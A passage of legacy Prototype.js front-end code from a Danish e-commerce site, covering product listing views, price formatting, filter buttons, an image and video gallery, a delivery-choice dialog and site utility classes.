	_identity: 'ID.ItemContainer',

	initialize: function(itemsArr,onItemsLoadedCallback, options) {
		this.onItemsLoadedCallback = onItemsLoadedCallback;
		this.options = Object.extend({
			forceProfile:	undefined,
			defaultProfile:	'wide',
			profileGroups: {
			},
			itemProfiles: {
				'tall': {
					metaImageWidth:		112,
					metaImageHeight:	112,
					metaElementWidth:	120,
					metaElementHeight:	174,
					metaElementSlack:	11,
					metaMaxShortTitleLength:	14,
					metaTitleShortening:		'…' // &ellipsis;
				},
				'wide': {
					metaImageWidth:		224,
					metaImageHeight:	112,
					metaElementWidth:	232,
					metaElementHeight:	174,
					metaElementSlack:	39,
					metaMaxShortTitleLength:	30,
					metaTitleShortening:		'…' // &ellipsis;
				}
			},
			templates: {
				'imageURL': new Template('/files/produkter/#{group}/#{metaImageWidth}x#{metaImageHeight}/#{id}-001.jpg'),
				'errorImageURL': new Template('/files/system/gfx/fotopaavej/fotopaavej-#{metaImageWidth}.jpg')
			}
		},options || {});

		// Weed out unwanted items
		this.itemsArr = [];
		itemsArr.each(function(item){
			if ((item.id === undefined)) {
				this._warn('Quietly ignoring item without id: '+item.inspect());
				return;
			}

			// Extend with profile information
			item = this._getProfiledItem(item);

			// Do NOT add metaIndex here since we might be weeding out the array later on
			this.itemsArr.push(item);
		},this);

		this._log('All items extended');

		this._loadItemImages((function(items) {

			this.itemsArr = items;

			if ( this.options.informedItems === undefined || this.options.informedItems === false )
			{
				// Call service
				var ids = this.itemsArr.pluck('id').sort().uniq();
				if (ids.length > 0) {
					var idStr = ids.join(',');
					this._info('Requesting async metadata for: '+idStr);
					dk.ide.webservice.RelatedProducts.GetProductInformation(idStr,this._onItemsLoaded.bind(this));
				} else {
					// Make sure callback gets called, even is no data is available
					this._onItemsLoaded.bind(this).defer([]);
				}
			}
			else
			{
				this._info('Items are already populated with metadata');
				this._onItemsLoaded.bind(this).defer(this.itemsArr);
			}

		}).bind(this));

	},

	_loadItemImages: function(callback) {
		var itemsWithImages = [];

		var imagesToGo = this.itemsArr.size();
		this._log('Attempting to load images ('+imagesToGo+')');

		var checkFinished = (function() {
			if (imagesToGo <= 0) {
				this._log('Image load finished');
				callback(itemsWithImages);
			} else {
				this._log(imagesToGo+' images to go');
			}
		}).bind(this);

		this.itemsArr.each(function(item) {
			//item.image = new Element('img', {'src': item.metaImageURL})
			item.image = new Element('img')
				.observe('abort', (function(evt) {
					this._log('Image load aborted');
					imagesToGo--;
					checkFinished();
				}).bind(this))
				.observe('load', (function(evt) {
					this._log('Image loaded');
					itemsWithImages.push(item);
					imagesToGo--;
					checkFinished();
				}).bind(this))
				.observe('error', (function(evt) {
					this._log('Image load failed');
					(function() {
						dk.ide.webservice.ImageErrorLogging.Log(item.metaImageURL, document.location.href, false);	
					}).delay(5);
					imagesToGo--;
					checkFinished();
				}).bind(this));

			// Events are observed - set the src attribute now:
			item.image.src = item.metaImageURL;
				
		}, this);

/*
		// Periodical checker
		new PeriodicalExecuter((function(pe) {
			var toGo = this.itemsArr.size();
			this.itemsArr.each(function(item) {
				// IE:
				this._log(item.image.complete);

			}, this);
			if (!toGo) {
				this._log('Periodical executer determined that image load is completed');
			}

			pe.stop();
		}).bind(this), 0);
*/
	},

	_escapeHTML: function(str) {
		if (str===undefined) { return 'undefined'; }
		return str
			.replace('&','&amp;')
			.replace('<','&lt;')
			.replace('>','&gt;');
	},

	_getProfiledItem: function(item) {
		// Find profile for item
		item.metaType = undefined;
		if (item.group === undefined) {
			this._error('Item #'+item.id+' has no "group" property');
			item.metaType = this.options.defaultProfile;
		} else {
			// Iterate through defined profileGroups
			$H(this.options.profileGroups).each(function(pair){
				if ((item.metaType === undefined) && (pair.value.indexOf(item.group) !== -1)) {
					item.metaType = pair.key;
					//this._debug('Item ['+item.id+'/'+item.group+'] was listed in the group "'+item.metaType+'"');
				}
			},this);
			if (item.metaType === undefined) {
				item.metaType = this.options.defaultProfile;
				this._debug('Item ['+item.id+'/'+item.group+'] was not listed in any group - defaulting to "'+item.metaType+'"');
			}
		}

		if ( item.pageurl.indexOf('/') != 0 ) 
		{
			item.pageurl = '/' + item.pageurl; 
		}

		// Merge with profile data (overwrite)
		item = Object.extend(item, this.options.itemProfiles[item.metaType]);

		// Get image URLs
		item.metaImageURL = this.options.templates.imageURL.evaluate(item);
		item.metaErrorImageURL = this.options.templates.errorImageURL.evaluate(item);

		return item;
	},

	_getEnrichedItem: function(item, data) {
		// Merge with data (now overwrite)
		item = Object.extend(Object.clone(data),item);

		// Provide raw and formatted prices no matter what format amounts arrive in
		item.metaPrice = this._getPriceFromString(item.price);
		item.metaSavings = this._getPriceFromString(item.savings);
		item.metaFormattedPrice = this._getFormattedPrice(item.metaPrice);
		item.metaFormattedSavings = this._getFormattedPrice(item.metaSavings);

		// Add custom data
		item.metaClassNames = 'productblock_'+item.metaType;
		if (item.onoffer) { item.metaClassNames += ' productblock_onoffer'; }
		if (item.shopable) { item.metaClassNames += ' productblock_shopable'; }
		if (item.outlet) { item.metaClassNames += ' productblock_outlet'; }
		if (item.metaSavings > 0) { item.metaClassNames += ' productblock_discounted'; }

		item.metaEnriched = true;

		// Add titles
		item.metaTitle = item.name;
		item.metaTitleEscaped = escape(item.metaTitle);
		item.metaTitleHTML = this._escapeHTML(item.metaTitle);

		item.metaTitleShort = item.metaTitle;
		if (item.metaTitleShort.length > item.metaMaxShortTitleLength) {
			item.metaTitleShort = item.metaTitleShort.substr(0, item.metaMaxShortTitleLength - item.metaTitleShortening.length)+item.metaTitleShortening;
		}
		item.metaTitleShortEscaped = escape(item.metaTitleShort);
		item.metaTitleShortHTML = this._escapeHTML(item.metaTitleShort);

		return item;
	},

	_getFormattedPrice: function(price) {
		var priceStr = price.toString();
		var re = new RegExp(/(\d)(\d{3})(\.|$)/);
		while (re.exec(priceStr) !== null) { priceStr = priceStr.replace(re,'$1.$2$3'); }
		// TODO: Make this less stupid:
		if (priceStr.match(/,/)===null) {
			priceStr += ',-';
		}
		return priceStr;
	},

	_getPriceFromString: function(priceStr) {
		var price = 0;
		if (priceStr != '') {
			if (priceStr.match(/^\d+(\.\d+)?$/) !== null) {
				price = parseFloat(priceStr);
			} else if (priceStr.match(/^[\d+\.]+(|\,-|\,\d+)$/)) {
				price = parseFloat(priceStr
					.replace(/\./,'')
					.replace(/,-$/,'')
					.replace(/,/,'.')
				);
			} else {
				this._warn('Unparsable price string: "'+priceStr+'"');
			}
		}
		return price;
	},

	_onItemsLoaded: function(data) {
		// Index received data by id
		var dataArr = {};
		data.each(function(row){
			dataArr[row.id] = row;
		},this);

		// Iterate through existing items (and possibly enrich)
		var mergedItems = [];
		this.itemsArr.each(function(item){
			if (dataArr[item.id] === undefined) {
				this._warn('No async meta data received for #'+item.id);
				return;
			}
			
			// Ignore items with zero price to avoid displaying invalid amounts
			// Case 26035
			if (dataArr[item.id].price === '0,-') {
				this._warn('Ignoring item #'+item.id+' with zero price');
				return;
			}
			
			mergedItems.push(this._getEnrichedItem(item, dataArr[item.id]));
		},this);

		// Overwrite itemsArr with newly generated array
		this.itemsArr = mergedItems;

		// Iterate through new (final) array and add metaIndex
		var i = 0;
		this.itemsArr.each(function(item){
			item.metaIndex = i++;
		},this);

		// Do callback
		this.onItemsLoadedCallback();
	},

	count: function(filter) {
		var count = 0;
		this.itemsArr.each(function(item){
			if ((filter === 'none') || (item[filter] === true)) { count++; }
		},this);
		return count;
	},

	filter: function(filter) {
		// Build a fresh array
		var items = [];
		this.itemsArr.each(function(item){
			if ((filter === 'none') || (item[filter] === true)) {
				items.push(item);
			}
		},this);
		return items;
	},

	handleAction: function(element,parmsArr) {
		switch (parmsArr[0]) {
			case 'produktoversigtitem':
				// Ex.: "produktoversigtitem_none_horizontal_2"
				return this._handleItemClick(parmsArr[3]);
		}
		return false;
	},

	_handleItemClick: function(itemIndex) {
		var item = this.itemsArr[itemIndex];
		if ((item === undefined) || (item === null)) {
			this._warn('Clicked on non-existing item (itemIndex='+itemIndex+')');
			return false;
		}
		if ((item.pageurl === undefined) || (item.pageurl === null) || (item.pageurl == '')) {
			this._warn('Clicked on item without pageurl');
			return false;
		}
		this._log('Setting location to '+item.pageurl);
		document.location.href = item.pageurl;
		return true;
	}
});

//-------------------------------------------------------------------------------------------------------------

ID.ProduktOversigtMenubar = Class.create(ID,{
	_identity: 'ID.ProduktOversigtMenubar',

	initialize: function(elementId,onChangeCallback) {
		this.onChangeCallback = onChangeCallback;
		this.element = $(elementId);
		this.cookieExpiry = 1; // Days
		this.buttons = {};
	},

	pickDefaults: function() {
		Object.keys(this.buttons).each(function(type){

			// Special case triggered by adding #tilbud to url:
			if ((type=='filter') && (window.location.hash.match('#tilbud'))) {
				this._pickButton(type, 'onoffer', false); // Do NOT set cookie
			}
			// Try cookie and fall back to first available key
			else if (!this._pickButton(type, CodeCompany.Cookie.read('produktoversigt_'+type))) {
				var keys = Object.keys(this.buttons[type].available);
				this._pickButton(type, keys[0]);
			}
		},this);
		this._callback();
	},

	_callback: function() {
		this.onChangeCallback();
	},

	addButton: function(type, name, annotationStr) {
		// Look for element
		var elementId = 'produktoversigt'+type+'_'+name;
		var element = $(elementId);
		if (element === null) {
			this._error('Button element not found: '+elementId);
			return false;
		}

		// Make sure type entry exists
		if (this.buttons[type] === undefined) {
			this.buttons[type] = {
				'value':		undefined,
				'available':	{}
			};
		}

		// Add button
		this.buttons[type].available[name] = {
			'element': element,
			'listelement': element.up('li')
		};

		// Mark it enabled
		this.buttons[type].available[name].listelement.addClassName('enabled');

		// Annotate?
		if (annotationStr !== undefined) {
			this.annotateButton(type, name, annotationStr);
		}

		//this._info('Added button '+type+'/'+name);
	},

	hasButton: function(type,name) {
		return (this.buttons[type] !== undefined) && (this.buttons[type].available[name] !== undefined);
	},

	annotateButton: function(type, name, str) {
		if (!this.hasButton(type, name)) {
			throw 'Tried to annotate non-existing button';
		}
		var button = this.buttons[type].available[name];
		if (button.originalLabel === undefined) {
			button.originalLabel = button.element.innerHTML;
		}
		button.element.update(button.originalLabel+' '+str);
	},

	clickButton: function(type,name,setCookie) {
		this._pickButton(type,name,setCookie);
		this._callback();
	},

	_pickButton: function(type, name, setCookie) {
		if (setCookie === undefined) {
			setCookie = true;
		}

		if (!this.hasButton(type,name)) {
			this._warn('Unable to pick unlisted button: "'+type+'"/"'+name+'"');
			return false;
		}

		// Mark button element selected (and unselect others)
		var li = this.buttons[type].available[name].listelement;
		li.siblings().invoke('removeClassName','selected');
		li.addClassName('selected');

		// Set cookie
		if (setCookie) {
			try { CodeCompany.Cookie.write('produktoversigt_'+type,name,this.cookieExpiry); }
			catch (e) { this._error('Unable to set mode cookie'); }
		}

		this.buttons[type].value = name;

		return true;
	},

	getSelectedButton: function(filter) {
		if (this.buttons[filter] === undefined) {
			return undefined;
		}
		return this.buttons[filter].value;
	},

	handleAction: function(element,parmsArr) {
		switch (parmsArr[0]) {
			case 'produktoversigtfilter':
				if (this._pickButton('filter',parmsArr[1])) {
					this._callback();
				}
				return true;
		}
		return false;
	}
});

//-------------------------------------------------------------------------------------------------------------

ID.ProduktOversigtViews = Class.create(ID,{
	_identity: 'ID.ProduktOversigtViews',

	initialize: function(elementId, options) {
		this._options = Object.extend({
		}, options || {});

		this.element = $(elementId);
		this.views = new Hash();
		this.currentView = undefined;
		
		this.loadingContainer = $('produktoversigt_dataloading');
		this.loadingContainer.show();
	},

	has: function(viewName) {
		return (this.views.get(viewName) !== undefined);
	},

	show: function(viewName) {
		this.loadingContainer.hide();
		this.currentView = this.views.get(viewName);
		this.views.each(function(pair){
			if (pair.key == viewName) {
				pair.value.show();
			}
			else { pair.value.hide(); }
		},this);
	},

	add: function(viewName,mode) {
		this._info('Adding view "'+viewName+'"');
		var element = new Element('div');
		element.addClassName('produktoversigt_view');

		var view;
		switch (mode) {
			case 'vertical':
				view = new ID.ProduktOversigtViewVertical(element,viewName);
				break;

			default:
				this._error('Unknown view mode "'+mode+'"');
				return undefined;
		}

		this.views.set(viewName,view);
		this.element.insert({'bottom':element});

		this._info('Added view "'+viewName+'"');

		return view;
	},

	handleAction: function(element,parmsArr) {
		if (this.currentView) {
			return this.currentView.handleAction(element,parmsArr);
		}
		return false;
	}
});

//-------------------------------------------------------------------------------------------------------------

ID.ProduktOversigtView = Class.create(ID,{
	toString: function() { return 'ID.ProduktOversigtView('+this.mode+')'; },

	initialize: function(element,viewName,mode) {
		this.element = element;
		this.viewName = viewName;
		this.rendered = false;
		this.mode = mode;

		this.classNames = this.mode;

		this.itemsMarkup = '';
		this.blockStyle = '';
		this.containerStyle = '';
		this.bottomMarkup = '';

		this.options = {
			'itemsPerColumn':	3
		};

		this.templates = {
			'container':	new Template(
								'<div class="productoverview #{classNames}">'+
									'<div class="productblockcontainer" style="#{containerStyle}">'+
										'<div class="productblocks" style="#{blockStyle}">'+
											'#{itemsMarkup}'+
											'<div class="clear"></div>'+
										'</div>'+
										'<div class="clear"></div>'+
									'</div>'+
									'#{bottomMarkup}'+
								'</div>'
							),
			'item':			new Template(
								'<div class="productblockwrapper action" id="produktoversigtitem_#{metaViewName}_#{metaIndex}">'+
									'<div class="productblock #{metaClassNames}">'+
										'<div class="productblocklayers">'+
											// On-hover frame
											'<div class="framelayer">'+
												'<div class="text">'+
													'<a href="#{pageurl}">Se mere her</a>'+
												'</div>'+
											'</div>'+
											// Actual content (image+text)
											'<div class="contentlayer">'+
												'<div class="tilbud"></div>'+
												'<div class="outlet"></div>'+
												'<div class="shopable">Køb online</div>'+
												'<div class="image">'+
													'<a href="#{pageurl}">'+
														'<img '+
															'src="#{metaImageURL}" '+
															'onerror="this.src=\'#{metaErrorImageURL}\'" '+
															'style="width:#{metaImageWidth}px;height:#{metaImageHeight}px;" '+
															'alt="#{metaTitleHTML} '+
															'[#{group}/#{id}]" '+
														'/>'+
													'</a>'+
												'</div>'+
												'<div class="text">'+
													'<h2 class="passivecoloredlink">'+
														'<a href="#">&raquo; #{metaTitleShortHTML}</a>'+
													'</h2>'+
													'<div class="price">'+
														'<a href="#{pageurl}">'+
															'<span class="savings savings_label">Nu </span>'+
															'<span class="price">Kr. #{metaFormattedPrice}</span><br/>'+
															'<span class="savings">'+
																'<span class="savings_label">SPAR</span> '+
																'<span class="savings_amount">#{metaFormattedSavings}</span>'+
																'<br/>'+
															'</span>'+
															'<span class="maal">#{maal}</span>'+
														'</a>'+	
													'</div>'+
												'</div>'+
											'</div>'+
										'</div>'+
									'</div>'+
								'</div>'
							)
		};		
	},

	setItems: function(itemsArr) {
		this.itemsArr = itemsArr;

		// Iterate through items and determine what types we have
		this.itemTypes = [];
		this.itemsArr.each(function(item){
			if (this.itemTypes.indexOf(item.metaType)==-1) { this.itemTypes.push(item.metaType); }
		},this);
		this._info('This view contains '+this.itemsArr.size()+' items of these types: '+this.itemTypes.join(', '));

		this.itemsType = 'mixed';
		if (this.itemTypes.size()==1) {
			this.itemsType = this.itemTypes[0];
		}

		this.classNames += ' productoverview_'+this.itemsType;
	},

	setMode: function(mode) {
		this.mode = mode;
	},

	hide: function() {
		this.element.hide();
	},

	_render: function() {
		this.element.update(this.templates.container.evaluate(this));
		this.rendered = true;
		this._postRender.bind(this).defer();
	},

	_renderEmpty: function() {
		this.element.update('Der er ingen produkter der matcher din søgning.');
		this.rendered = true;
		this._postRender.bind(this).defer();
	},
	
	_postRender: function() {
		new HoverSiblings([this.element.identify()],{siblingElementSelector:".productblock"});
		document.fire("custom:contentrefresh");
		document.fire('custom:systemfontreplace');
		this._info('Rendered');
	},
	
	show: function() {
		if (!this.rendered) {
			if (this.itemsArr.size()) {
				this._render();
			} else {
				this._renderEmpty();
			}
		}
		this.element.show();
		this._postShow.bind(this).defer();
	},

	_postShow: function() {
		document.fire("custom:contentrefresh");
	}
});

//-------------------------------------------------------------------------------------------------------------

ID.ProduktOversigtViewVertical = Class.create(ID.ProduktOversigtView,{
	_identity: 'ID.ProduktOversigtViewVertical',

	initialize: function($super,element,viewName) {
		$super(element,viewName,'vertical');
	},

	_render: function($super) {
		this.itemsArr.each(function(item){
			item.metaViewName = this.viewName;
			this.itemsMarkup += this.templates.item.evaluate(item);
		},this);

		/* NOT setting this breaks view completely for IE7 (WTF?) */
		this.blockStyle = 'width:850px';

		$super();
	}
});

//-------------------------------------------------------------------------------------------------------------

// Anvendes i udvalgt produktoversigt:
ID.ProduktOversigtPreOp = new Class.create(ID,{
	_identity: 'ID.ProduktOversigtPreOp',
	
	initialize: function(elementId,itemIds,options)
	{
		this.elementId = elementId;
		this.options = options;
		
		// Lookup extended product information
		dk.ide.webservice.RelatedProducts.GetProductInformationExtended(servicetoken, itemIds, -1, this.onItemsReceived.bind(this));
	},
	
	onItemsReceived: function(data)
	{
		this._log('Received extended information');
		new ID.ProduktOversigt(this.elementId, data, this.options);
	}
});

var ProductGallery = Class.create(ID, {
	// Initialized with callback data from dk.ide.webservice.ProductService.GetBigProductImages (?!)
	initialize: function(pictures) {
		this.pictures = pictures;

		this.info = $("productgallery_info").innerHTML;
		var tt = pictures.length;
		console.log('Initial total: '+ this.total);
		// remove videos from lineup
		this.pictures.each(function(item) {
			console.log('Testing for video: '+(item.indexOf('-video.flv') > -1) + ' total: ' + tt);
			if(item.indexOf('-video.flv') > -1) {
			 tt = tt-1;
			}
		});
		this.total = tt;
		this.showing = 1;
		//this.clicked;

		if (this.total == 2 || this.total == 3) {
			$("productgallery_thumbnails").show();
		} else if (this.total > 3) {
			$("productgallery_thumbnails").show();
			$("productgallery_left").show();
			$("productgallery_right").show();
			$("productgallery_left").observe('click', this.previousThree.bind(this));
			$("productgallery_right").observe('click', this.nextThree.bind(this));
		}
		this.setupGallery();

		try {
			this.pictures.each(function(picture){
				this._log('Adding picture: '+Object.toJSON(picture));
			}, this);
		} catch(ex) {
			this._error('ProductGallery.initialize failed: '+ex);
		}
	},

	setupGallery: function() {
		var counter = 0;

		this.pictures.each(function(item) {
			if((item.indexOf('-video.flv') == -1)) {
					var div = new Element('div', {
					style: 'left:' + (counter * 78) + 'px;width:72px;height:40px',
					'class': 'img'
					});
					var imgWidth = '72';
					if (item.indexOf('/384x384/') > -1) {
						imgWidth = '40';
					}
					var img = new Element('img', {
						src: item,
						width: imgWidth,
						height: 40,
						alt: '',
						'class': 'image_' + counter
					});
					div.update(img);
					$("productgallery_thumbnails_container").insert(div);
					counter++;
			}
		});
		//selected image indicator
		$("productgallery_thumbnails_container").insert('<div id="productgallery_thumbnail_selected"></div>');
		//listener
		$$("#productgallery_thumbnails_container img").invoke('observe', 'click', this.imageClick.bind(this));
	},

	imageClick: function(e, count) {
		var elm = e.element();
		var img = this.imageNumber(elm.readAttribute("class"));
		this.clicked = img;
		var newPictureSrc = this.pictures[img];
		switch(newPictureSrc.indexOf('-video.flv') > -1) {
			case true:
				var vidArr = newPictureSrc.split('.', 1);
				var newVideoSrc = vidArr;
				this.loadVideo(newVideoSrc);
				$('productgallery_image').hide();
				$('productgallery_video').show();
			break;
			default:
				var newPictureSrc = this.pictures[img];
				$("productgallery_image").src = newPictureSrc;
				if (newPictureSrc.indexOf('/768x384/') > -1) {
					$("productgallery_image").setStyle({
						'width': '768px',
						'height': '384px'
					});
				} else {
					$("productgallery_image").setStyle({
						'width': '384px',
						'height': '384px'
					});
				}
				$('productgallery_image').show();
				$('productgallery_video').hide();
			break;
		}
		this.updateInfo();
		var newX = elm.up().getStyle('left');
		new Effect.Morph($("productgallery_thumbnail_selected"), {
			style: 'left:' + newX,
			duration: 0.5
		})
	},
	imageNumber: function(id) {
		return id.split("image_").join("");
	},
	updateInfo: function(id) {
		$("productgallery_info").show();
		var templ = new Template(this.info);
		$("productgallery_info").update(templ.evaluate({
			num: (Number(this.clicked) + 1),
			total: this.total
		}));
	},
	nextThree: function() {
		if (this.showing < (this.total / 3)) {
			new Effect.Move($('productgallery_thumbnails_container'), {
				x: -(3 * 78),
				y: 0,
				"mode": "relative"
			});
			this.showing++;
			$("productgallery_left").removeClassName("disabled");
			if (this.showing > (this.total / 3)) {
				$("productgallery_right").addClassName("disabled");
			}
		} else {
			$("productgallery_right").addClassName("disabled");
		}
	},
	previousThree: function() {
		if (this.showing > 1) {
			new Effect.Move($('productgallery_thumbnails_container'), {
				x: (3 * 78),
				y: 0,
				"mode": "relative"
			});
			this.showing--;
			$("productgallery_right").removeClassName("disabled");
			if (this.showing < 2) {
				$("productgallery_left").addClassName("disabled");
			}
		} else {
			$("productgallery_left").addClassName("disabled");
		}
	},
	loadVideo: function(videoSrc) {
		if (site.hasFlash()) {
			var flashvars = {
				'file': videoSrc+".flv",
				'fullscreen': "false",
				'autostart': "false",
				'controlbar': "true",
				'screencolor': "#FFFFFF",
				'stretching': "uniform",
				'volume': "80",
				'image': videoSrc+".jpg",
				'plugins': "gapro-1",
				'gapro.accountid': "UA-12685907-1",
				'gapro.trackstarts': "true",
				'gapro.trackpercentage': "true",
				'gapro.tracktime': "true",
				'link': videoSrc+".flv"
			};
			var params = {
				'quality': "autohigh",
				'wmode': "transparent",
				'allowfullscreen': "true",
				'allowscriptaccess': "always"
			};
			var attributes = {};
			attributes.id = "mpl_video";
			swfobject.embedSWF(
				"/files/system/js/flvplayer/flvplayer.swf",
				"mpl_video",
				"576",
				"288",
				"9.0.0", false,
				flashvars, params, attributes);
	    }
	}
});

if ( typeof(ID) === 'undefined' ) { throw "The ID class is required for ModalDialog.js"; }

ID.ModalDialog = Class.create(ID, {
	toString: function() { return 'ID.ModalDialog'; },
	
	initialize: function() { },
	
	show: function()
	{
		this._log('show dialog: ' + this.id);
		if ( !$(this.id) )
		{ 
			this.dialog = this.getDialogElement();
		}
		
		this.setup();
		document.fire('overlaywindow:show', { element: this.dialog });
		document.fire('custom:systemfontreplace');
	},
	
	hide: function()
	{
		document.fire('overlaywindow:show');
	},
	
	getDialogElement: function()
	{
		this._error('getDialogElement must be overloaded');
		throw "ID.ModalDialog::getDialogElement must be overloaded";
	},
	
	setup: function()
	{
		this._error('setup must be overloaded');
		throw "ID.ModalDialog::setup must be overloaded";
	},
	
	teardown: function()
	{
		this._error('teardown must be overloaded');
		throw "ID.ModalDialog::teardown must be overloaded";
	}
});

ID.DeliveryDialog = Class.create(ID.ModalDialog, {
	toString: function() { return 'ID.DeliveryDialog'; },
	
	initialize: function()
	{
		this.id = 'dlgDeliveryMethod';
		document.observe('dialog:showdeliverydialog', this.show.bind(this));
	},
	
	getDialogElement: function()
	{
		var markup = 
			'<div class="dialog">'+
				'<div class="dlgHeader"><!----></div>'+
				'<div class="dlgContent">'+
					'<div class="dialogcontent">'+
						'<div id="dlgdeliverytop" class="dialogtop dlgtopinactive">'+
							'<div id="dlgdeliveryinactivetop">'+
								'<h1 class="bliss cufon-20px">Levering eller afhentning?</h1>'+
								'<span class="action action_selectdelivery coloredlink" id="closedialog"><a>&raquo; Luk vindue</a></span>'+
								'<div class="clear"><!----></div>'+
							'</div>'+
							'<div id="dlgdeliveryactivetop">'+
								'<div style="width: 260px; float: left; line-height: 16px; padding-top: 12px"><span>Hvis du ikke foretager noget valg, antager vi, at du vil have dine varer leveret.</span></div>'+
								'<span class="action action_selectdelivery coloredlink" id="closedialog"><a>&raquo; Luk vindue</a></span>'+
								'<div class="clear"><!----></div>'+
							'</div>'+
						'</div>'+
						'<div class="dialogmain">'+
							'<div class="dialogcolumn leftdialogcolumn">'+
								'<h4 class="cendia cufon-12px">Jeg vil gerne have mine varer leveret</h4>'+
								'<p>Leveringsprisen vil fremgå af din indkøbskurv.</p>'+
							'</div>'+
							'<div class="dialogcolumn rightdialogcolumn">'+
								'<h4 class="cendia cufon-12px">Jeg vil gerne afhente mine varer</h4>'+
								'<p>Når du selv afhenter dine varer, er det selvfølgelig gratis</p>'+
							'</div>'+
							'<div class="clear"><!----></div>'+
							'<div class="dialogcolumn leftdialogcolumn">'+
								'<img class="action_selectdelivery action actionbutton" src="/files/system/gfx/leveringsdialog/lev_delbut.png" alt="Vælg levering" />'+
							'</div>'+
							'<div class="dialogcolumn rightdialogcolumn">'+
								'<img class="action_selectpickup action actionbutton" style="margin-top: -1px" src="/files/system/gfx/leveringsdialog/lev_pickbut.png" alt="Vælg afhentning" />'+
							'</div>'+
							'<div class="dialogfooter">'+
								'<p>Du kan altid ændre dit valg, når du går til kassen.</p>'+
							'</div>'+
						'</div>'+
					'</div>'+
				'</div>'+
				'<div class="dlgFooter"><!----></div>'+
			'</div>';
		
		return new Element('div', { 
			'id': this.id, 
			'className': 'overlaywindow'
		}).insert(markup);
	},

	_selectDelivery: function(e)
	{
		this._log('Select delivery');
		dk.ide.webservice.DeliveryService.SetDeliveryMethod(this.basket.basketId, false, Prototype.emptyFunction, Prototype.emptyFunction);
		this.hide();
	},
	
	_selectPickup: function(e)
	{
		this._log('Select pickup');
		dk.ide.webservice.DeliveryService.SetDeliveryMethod(this.basket.basketId, true, Prototype.emptyFunction, Prototype.emptyFunction);
		this.hide();
	},

	show: function($super, e)
	{
		this.basket = e.memo;
		$super();
	},

	setup: function()
	{
		this._log('setup');
		
		document.observe('action:selectdelivery', this._selecthandler = this._selectDelivery.bind(this));
		document.observe('action:selectpickup', this._pickuphandler = this._selectPickup.bind(this));
		document.observe('overlaywindow:hidden', this._teardownhandler = this.teardown.bind(this));
		
		(function() {
			$('dlgdeliverytop').observe('mouseenter', function(){ $('dlgdeliverytop').removeClassName('dlgtopinactive').addClassName('dlgtopactive'); });
			$('dlgdeliverytop').observe('mouseleave', function(){ $('dlgdeliverytop').removeClassName('dlgtopactive').addClassName('dlgtopinactive') });
		}).defer();
	},
	
	teardown: function()
	{
		this._log('teardown');
		document.stopObserving('action:selectdelivery', this._selecthandler);
		document.stopObserving('action:selectpickup', this._pickuphandler);
		document.stopObserving('overlaywindow:hidden', this._teardownhandler);
		
		$('dlgdeliverytop').stopObserving('mouseenter');
		$('dlgdeliverytop').stopObserving('mouseleave');
		
		// update shopping cart
		(function() { getShoppingCart(); }).defer();
	}
});

/*** Function Chains ***/

var chainDomLoaded = new CodeCompany.FunctionChain('domLoaded');
var chainWindowLoaded = new CodeCompany.FunctionChain('windowLoaded');
var chainSessionReady = new CodeCompany.FunctionChain('sessionReady');

document.observe('dom:loaded', chainDomLoaded.executeChain.bind(chainDomLoaded));
Event.observe(window, 'load', chainWindowLoaded.executeChain.bind(chainWindowLoaded));


/*** Site Class ***/

ID.Site = Class.create(ID, {
	_identity: 'Site',
	initialize: function(options) {
		this.options = Object.extend({
			logEnabled: true,
			forceFlash: undefined
		},options || {});

		chainDomLoaded.addFunction(this.onDomLoaded.bind(this),'Site object tweaks',-1);

		this.viaProperties = new Hash();

		this.testMode = ( window.location.hostname.match(/test/) !== null );

		this._log('Site object initialized');
	},
	onDomLoaded: function() {
		// Get lastclick
		var tmp = CodeCompany.Cookie.read('lastclick');
		if ((tmp!==undefined) && (tmp!='')) {
			site.lastClick = parseInt(tmp);
		}
	},
	setViaProperty: function(key,value) {
		this.viaProperties.set(key,value);
	},
	getViaProperty: function(key) {
		return this.viaProperties.get(key);
	},
	htmlEscape: function(str) {
		return str;
		/*
		return str
			.replace(/</,'&lt;')
			.replace(/>/,'&gt;')
			.replace(/\n/,'<br/>');
			*/
	},
	log: function(str,subsystem) {
		if (subsystem===undefined) { subsystem = 'General'; }
		this._log('['+subsystem+'] '+str);
	},
	hasFlash: function() {
		// Flash forced on or off?
		if (this.options.forceFlash !== undefined) {
			return this.options.forceFlash;
		}
		// Cached result?
		if (this._hasFlash !== undefined) {
			return this._hasFlash;
		}
		// Got SWFObject?
		if (typeof(swfobject)=='undefined') {
			return false;
		}

		// Detect flash
		this._hasFlash = swfobject.hasFlashPlayerVersion("9.0.18");
		if (this._hasFlash) {
			this._flashVersion = swfobject.getFlashPlayerVersion();
			this.log("Detected Flash "+this._flashVersion.major+"."+this._flashVersion.minor+" release "+this._flashVersion.release);
		} else {
			this.log("Flash not detected");
		}

		// Return result
		return this._hasFlash;
	},
	isTest: function() {
		return null !== document.location.host.match(/test/);
	},
	getURLParameter: function(paramName, defaultValue)
	{
		var matches = window.location.search.match(new RegExp('[?&]'+paramName+'(=([a-zA-Z0-9_%-]*))?'));
		if ( matches !== null )
		{
			return matches[2];
		}
		else
		{
			return defaultValue;
		}
	},
	hasURLParameter: function(paramName)
	{
		return window.location.search.search(new RegExp('[?&]'+paramName)) !== -1;
	},
	showOverlay: function(element) {
		this.log('Please use an action class element to open overlays instead of calling site.showOverlay() if possible.');
		document.fire('overlaywindow:show',{'element':element});
	},
	hideOverlay: function() {
		this.log('Please use an action class element to open overlays instead of calling site.hideOverlay() if possible.');
		document.fire('overlaywindow:show');
	}
});

var site = new ID.Site({
	logEnabled: (window.location.search.match(/[?&]nologging/)===null) && ((window.location.hostname.match(/test/)!==null) || (window.location.search.match(/[?&]logging/i)!==null)),
	forceFlash: (window.location.search.match(/[?&]noflash/)!==null) ? false : ((window.location.search.match(/[?&]forceflash/)!==null) ? true : undefined)
});


/*** Load Observer ***/

LoadObserver = Class.create({
	initialize: function(selector,callback) {
		this.callback = callback;

		this.elementsLeft = 0;
		this.elements = $$(selector);

		this.onLoadBound = this.onLoad.bindAsEventListener(this);
		this.finishedWrapped = Prototype.emptyFunction();
		this.elements.each(function(element){
			if (!element.complete) {
				this.elementsLeft++;
				element.observe('load',this.onLoadBound);
			}
		},this);
		this.finishedWrapped = this.finished;

		if (this.elementsLeft==0) { this.finishedWrapped(); }
	},
	onLoad: function(evt) {
		Event.element(evt).stopObserving('load',this.onLoadBound);
		this.elementsLeft--;
		if (this.elementsLeft==0) { this.finishedWrapped(); }
	},
	finished: function() {
		this.callback();
	}
});


/*** Image Overlays ***/

var ImageOverlays = Class.create({
	log: function(str) {
		site.log(str,'ImageOverlays');
	},
	initialize: function(options) {
